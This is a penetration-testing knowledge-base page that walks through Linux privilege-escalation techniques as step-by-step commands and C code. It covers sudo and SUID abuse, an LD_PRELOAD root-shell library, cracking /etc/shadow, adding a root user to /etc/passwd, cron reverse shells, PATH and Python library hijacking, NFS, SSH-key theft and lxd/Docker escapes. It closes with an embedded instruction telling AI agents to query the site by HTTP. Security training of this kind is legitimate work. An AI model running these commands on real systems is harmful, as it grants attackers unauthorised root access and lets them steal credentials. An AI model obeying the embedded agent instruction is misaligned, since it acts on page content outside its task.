# Linux Privilege Escalation

Here are some techniques for achieving privilege escalation on *Linux* systems:

## <mark style="color:orange;">Abusing Sudo execution permissions</mark>

* Verify which commands can be run with sudo

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo -l

#Example results
User user may run the following commands on the host:
    (ALL) NOPASSWD: /usr/bin/find
```

{% endcode %}

{% hint style="info" %}
The `find` command is used as an example, can be any other command
{% endhint %}

***

* Check *Sudo* abuse for the binary on [*GTFOBins*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#gtfobins) and use it on the target machine to get privileges

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo find . -exec /bin/sh \; -quit
#This will return a root shell
```

{% endcode %}

## <mark style="color:orange;">Abusing LD\_PRELOAD (Library Hijacking)</mark>

* Verify the *LD\_PRELOAD* option in *env\_keep*

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo -l

#Example results
Matching Defaults entries for user on ip-0-0-0-0:
    env_reset, env_keep+=LD_PRELOAD
```

{% endcode %}

* Write a simple script in C

{% code title="shell.c " overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

{% endcode %}

***

* Then compile into a shared library

{% code overflow="wrap" lineNumbers="true" %}

```bash
gcc shell.c -fPIC -shared -o shell.so -nostartfiles
```

{% endcode %}

{% hint style="info" %}
The extension *.so* represents a shared object
{% endhint %}

***

* Run a sudo command specifying the *LD\_PRELOAD* option with the script

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>sudo LD_PRELOAD=/home/user/ldpreload/shell.so $command
</strong><strong>#This will prompt a root shell
</strong></code></pre>

{% hint style="info" %}
*$command* is any command with sudo permissions found using `sudo -l`
{% endhint %}

## <mark style="color:orange;">Abusing SUID/SGID permissions on reading binaries</mark>

* Verify executables with special permissions

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>find / -type f -perm -04000 -ls 2>/dev/null | grep bin
</strong>#Example results
<strong>1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/base64
</strong></code></pre>

{% hint style="info" %}
`base64` is used as an example, can be any other executable with data visualization properties, such as `nano`,`cat`, `vim`, `nvim`, etc...
{% endhint %}

***

* Check binary SUID abuse on [*GTFOBins*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#gtfobins)

{% code overflow="wrap" lineNumbers="true" %}

```bash
LFILE=file_to_read
base64 "$LFILE" | base64 --decode
```

{% endcode %}

***

* Abuse privileges to read important files and copy its content locally

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>base64 /etc/shadow | base64 --decode #Display content of shadow    
</strong>base64 /etc/passwd | base64 --decode #Display content of passwd
touch shadow.txt #Create on the host machine and copy the content of shadow
touch passwd.txt #Create on the host machine and copy the content of passwd
</code></pre>

***

* Use *John* to make a crackable file and crack passwords

{% code overflow="wrap" lineNumbers="true" %}

```sh
unshadow passwd.txt shadow.txt > crack.txt
john -w=/usr/share/wordlists/rockyou.txt crack.txt
#If possible to crack, this will display the password of users
```

{% endcode %}

## <mark style="color:orange;">Abusing SUID/SGID permissions on writing binaries</mark>

* Verify executables with special permissions

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>find / -type f -perm -04000 -ls 2>/dev/null | grep bin
</strong>#Example results
<strong>1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/nano
</strong></code></pre>

{% hint style="info" %}
`nano` is used as an example, can be any other executable with the same reading properties, such as `vim`, `nvim`, etc...
{% endhint %}

***

* Abuse privileges to create users with privileges

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>openssl passwd -1 -salt AAA $password    #Create user hash
</strong><strong>nano /etc/passwd
</strong><strong>$username:$hash:0:0:root:/root:/bin/bash #Add this at the final of /etc/passwd
</strong>su $username                             #Switch to the new user
</code></pre>

{% hint style="info" %}
*$username* is an arbitrary name and the */root:/bin/bash* specify we are requesting a root shell
{% endhint %}

## <mark style="color:orange;">Abusing capabilities on binaries</mark>

* Verify executables with set capabilities

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>getcap -r / 2>/dev/null
</strong>#Example results
/home/karen/vim = cap_setuid+ep
</code></pre>

{% hint style="info" %}
`vim` is used as an example, can be any other executable
{% endhint %}

***

* Check binary capabilities abuse on [*GTFOBins*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#gtfobins)

{% code overflow="wrap" lineNumbers="true" %}

```bash
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'  #For python3
```

{% endcode %}

***

* Go to the binary location and execute the payload

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cd /home/karen/vim
</strong>./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#This will give you a root shell
</code></pre>

## <mark style="color:orange;">Abusing existing cron jobs</mark>

* Verify the executables set as cron jobs

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cat /etc/crontab
</strong>#Example results
* * * * * root /home/user/file.sh
</code></pre>

{% hint style="info" %}
*file.sh* is an arbitrary name used as an example. It can be another bash file or executable.
{% endhint %}

***

* Go to the file location and change the content to get a reverse shell

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cd /home/user
</strong>nano file.sh    # The content will be replaced with a reverse shell script
</code></pre>

{% hint style="info" %}
To see some example scripts for a Reverse Shell, you can go[ here](/hacking-knowledge/penetration-testing/process-stages/exploitation/scripting/reverse-shell.md)
{% endhint %}

***

* Create a listening port with netcat to receive the shell

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nc -nlvp $port
</strong>#You will receive a root shell
</code></pre>

{% hint style="info" %}
*$port* is the port specified in the reverse shell script
{% endhint %}

## <mark style="color:orange;">Abusing deleted cron jobs</mark>

* Verify executables set as cron jobs

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cat /etc/crontab
</strong>#Example results
PATH:/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
* * * * * root file.sh
</code></pre>

{% hint style="info" %}

* *file.sh* is an arbitrary name used as an example. It can be another bash file or executable
* We have to keep in mind the path of the */etc/crontab* file
  {% endhint %}

***

* Verify if the executable was deleted and create one with the same name

{% code overflow="wrap" lineNumbers="true" %}

```bash
locate file.sh    #This will show nothing, which means that it was deleted
cd /home/user
nano file.sh    # The content will be a reverse shell script
```

{% endcode %}

{% hint style="info" %}
Note that the folder we navigate to is the one that was listed in */etc/crontab*
{% endhint %}

***

* Create a listening port with netcat to receive the shell

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nc -nlvp $port
</strong>#You will receive a root shell
</code></pre>

{% hint style="info" %}
*$port* is the port specified in the reverse shell script
{% endhint %}

## <mark style="color:orange;">Abusing the PATH environment variable (Path Hijacking)</mark>

* Search for any writable folder and compare it to *PATH*

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
</strong>#Example results
<strong>etc/udev  home/user  run/dbus  snap/core  sys/fs  tmp  usr/lib  var/crash
</strong>
echo $PATH
#Example results
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
</code></pre>

{% hint style="info" %}

* We note there is a home folder where we can write
* In case we haven't found anything, we have to write to */tmp*
  {% endhint %}

***

* Add the folder to *PATH* and go to this location

{% code overflow="wrap" lineNumbers="true" %}

```bash
export PATH=/home/user:$PATH
echo $PATH   #To check if it was added
cd /home/user
```

{% endcode %}

***

* Write a simple script in *C* to search for an executable

{% code title="path.c " overflow="wrap" lineNumbers="true" %}

```c
#include <unistd.h>

void main() {
    setgid(0);
    setuid(0);
    system("root");
}
```

{% endcode %}

{% hint style="info" %}
The system will search for an executable named *root,* which is an arbitrary name
{% endhint %}

***

* Compile the script and give it SUID permissions

{% code overflow="wrap" lineNumbers="true" %}

```bash
gcc path.c -o path -w -static
chmod u+s path
ls -l     #To check if it has a permission for the user
```

{% endcode %}

***

* Create a file to ask for a shell and give it permissions

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo "/bin/bash" > root #Asking for a shell
chmod 777 root
ls -l    #To check it has all permissions
```

{% endcode %}

{% hint style="info" %}
Note that it is the same executable we called previously on the *C* script
{% endhint %}

***

* Run the path script to get privileges

{% code overflow="wrap" lineNumbers="true" %}

```bash
./path
#This will return a root shell
```

{% endcode %}

***

* In other cases, when an application with SUID permissions is calling a binary and isn't specifying its absolute path, we can just create an arbitrary file with the same name, and add it to the path

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo "/bin/bash" > $binaryName #Arbitraryly to obtain a shell
chmod +x $binaryName
export PATH=/home/user:$PATH #Specifying where our file was created
# Then run the application with the SUID permissions
```

{% endcode %}

## <mark style="color:orange;">Abusing the NFS misconfiguration</mark>

* Check the NFS configuration, and search for the *no\_root\_squash* value

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat /etc/exports
#Example results
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
```

{% endcode %}

***

* On the host machine, check for mountable shares

{% code overflow="wrap" lineNumbers="true" %}

```bash
showmount -e $targetIP
#Example results
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *
```

{% endcode %}

***

* On the host machine, create a shared folder with the target

{% code overflow="wrap" lineNumbers="true" %}

```bash
mkdir /tmp/Attack
sudo mount -o rw $targetIP:/home/ubuntu/sharedfolder /tmp/Attack
```

{% endcode %}

***

* Write a simple script in *C* to ask for a shell

{% code title="nfs.c " overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
    return 0;
}
```

{% endcode %}

***

* Compile the script and give it SUID Permissions

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>cd /tmp/Attack
</strong><strong>nano nfs.c    #Create the script as above
</strong>sudo gcc nfs.c -o nfs -w -static
<strong>sudo chmod u+s nfs
</strong>ls -l     #To check if it has permissions for the user
</code></pre>

***

* On the target machine, run the script to get privileges

{% code overflow="wrap" lineNumbers="true" %}

```bash
./nfs
#This will return a root shell
```

{% endcode %}

## <mark style="color:orange;">Abusing SSH keys</mark>

* Check if we have reading permissions on the SSH private keys of a user

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat /home/$user/.ssh/$keyfile    #For a user
cat /root/.ssh/$keyfile          #For root user
```

{% endcode %}

{% hint style="info" %}
Standard key files are called *id\_rsa*
{% endhint %}

***

* Copy the keys to a file, assign permissions to the file, and use it to log in using the key

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nano $filename #Copy here the keys
</strong><strong>chmod 600 $filename
</strong>ssh $username@$IP -i $filename
</code></pre>

{% hint style="info" %}
Use `chmod 600 id_rsa` to assign restrictive permissions, and SSH does not block this method
{% endhint %}

***

* When having writing permissions on the */root/.ssh/* directory, we can generate an SSH key with the current user and pass it to the system

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh-keygen -f $keyfile
```

{% endcode %}

{% hint style="info" %}
This will generate the file with a private key for the user and a `.pub` file with a public key
{% endhint %}

***

* Pass the public key to the authorized keys file of the *root* user

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat $keyfilename.pub >> /root/.ssh/authorized_keys
```

{% endcode %}

***

* Use this to log in as *root* using the key

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh root@$IP -i $keyfile 
```

{% endcode %}

## <mark style="color:orange;">Abusing lxd</mark>

* Verify *lxd* is installed on the system

{% code overflow="wrap" lineNumbers="true" %}

```bash
lxd --version
```

{% endcode %}

***

* Check if the *lxd* group exists

{% code overflow="wrap" lineNumbers="true" %}

```bash
groups
```

{% endcode %}

***

* Add the current user to the *lxd* group (in case it isn't there yet)

{% code overflow="wrap" lineNumbers="true" %}

```bash
usermod --append --groups lxd $user
```

{% endcode %}

***

* On our machine, install the required *lxd* components

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo apt install lxd
sudo apt install zfsutils-linux
```

{% endcode %}

***

* Activate the *lxd* service and start it

{% code overflow="wrap" lineNumbers="true" %}

```bash
sudo systemctl start lxd.service
sudo lxd init
```

{% endcode %}

***

* Download an image or build it if necessary

{% code overflow="wrap" lineNumbers="true" %}

```bash
wget https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
```

{% endcode %}

{% hint style="info" %}
We use an image for *Alpine*, but any other light-weight distro can be built and used
{% endhint %}

***

* Mount a server to import and download the image to the target host

{% code overflow="wrap" lineNumbers="true" %}

```bash
# On our machine
python3 -m http.server $port

#On the target machine
wget http://$IP:$port/$filename.tar.gz #The one that comes with the repository
```

{% endcode %}

***

* On the target, import the image and use it to create a container specifying high privileges and mounting the complete filesystem

{% code overflow="wrap" lineNumbers="true" %}

```bash
lxc image import $imageroute --alias $imagename
lxc init $imagename $containername -c security.privileged=true
lxc config device add $containername host-root disk source=/ path=/mnt recursive=true
```

{% endcode %}

***

* Start the container, ask for a shell from it, and access the mount point of the filesystem

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">lxc start $containername
<strong>lxc exec pwned /bin/sh
</strong>cd /mount
</code></pre>

{% hint style="info" %}
The shell will be generated as the *root* user, having complete permissions on the filesystem
{% endhint %}

## <mark style="color:orange;">Abusing the Python eval function</mark>

The *eval* function in *Python* is well-known for being vulnerable, as it can act in a global scope. If there isn't proper sanitization of the input, this can be leveraged to execute arbitrary system commands.

* We find a code that is run as the *root* user and uses the eval function improperly

{% code overflow="wrap" lineNumbers="true" %}

```bash
__import__('os').system('/bin/bash') #Insert in the part where eval will act
```

{% endcode %}

***

* If it can't be inserted directly, we can add a validation that returns true, and then the payload

{% code overflow="wrap" lineNumbers="true" %}

```python
1+1 == 2 and __import__('os').system('/bin/bash')
```

{% endcode %}

## <mark style="color:orange;">Abusing Docker configurations</mark>

This could be used to escape a Docker container and gain access to the host system or to directly escalate privileges

* (Optional)  Try to determine if we are in a container environment

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat /proc/1/cgroup # Check if the output contains docker
grep -iE 'docker|lxc|kubepods' /proc/1/cgroup #Check also other type of containers
ls -la /.dockerenv #Check if there is a configuration file at the root folder
cat /etc/hostname #Check if we see a hostname with hash values
ps -p 1 -o comm= #Check if the PID 1 process isn't the system init
```

{% endcode %}

***

* If the container was started with `--privileged` we could mount the host filesystem

{% code overflow="wrap" lineNumbers="true" %}

```bash
mkdir /tmp/host
mount -t proc none /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash
```

{% endcode %}

***

* We can also abuse the *Docker* socket if it's exposed

{% code overflow="wrap" lineNumbers="true" %}

```bash
docker -H unix:///var/run/docker.sock images #If this works is a sign
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host
```

{% endcode %}

***

* We can also abuse capabilities to mount the file system

{% code overflow="wrap" lineNumbers="true" %}

```bash
capsh --print #Check if CAP_SYS_ADMIN

mount -t tmpfs none /mnt
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
```

{% endcode %}

## <mark style="color:orange;">Abusing Python Libraries (Python Library Hijacking)</mark>

A dependency-level attack that allows the creation of a malicious Python file that will be executed instead of a legitimate library intended to be imported.&#x20;

It occurs because Python’s module import mechanism takes whichever module it resolves first in this priority search order:

1. Directory of the executing script
2. Standard library paths
3. Installed site-packages
4. Entries added via environment variables

If an attacker can set a malicious file to be read first than the actual location of an imported module, Python will import that file and not the real library.

* For example, suppose we have a Python script that runs as the *root* user, and imports the *base64* module to call the *b64encode* function from this module

{% code title="vulnerable.py" overflow="wrap" lineNumbers="true" %}

```bash
import base64

data = "test"
data64 = base64.b64encode(data)
print(data64)
```

{% endcode %}

We also know that the original location of this library is on `/usr/lib/python3.7/base64.py`

***

* We can create a file with the same name as the module, in the same folder where the script is located. Then

{% code title="base64.py" overflow="wrap" lineNumbers="true" %}

```bash
import os

print(os.system("whoami")
```

{% endcode %}

After this, we can run the script, which will import our malicious module and execute the desired payload as a privileged user


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kryptocoder.gitbook.io/hacking-knowledge/penetration-testing/process-stages/post-exploitation/privilege-escalation/linux-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
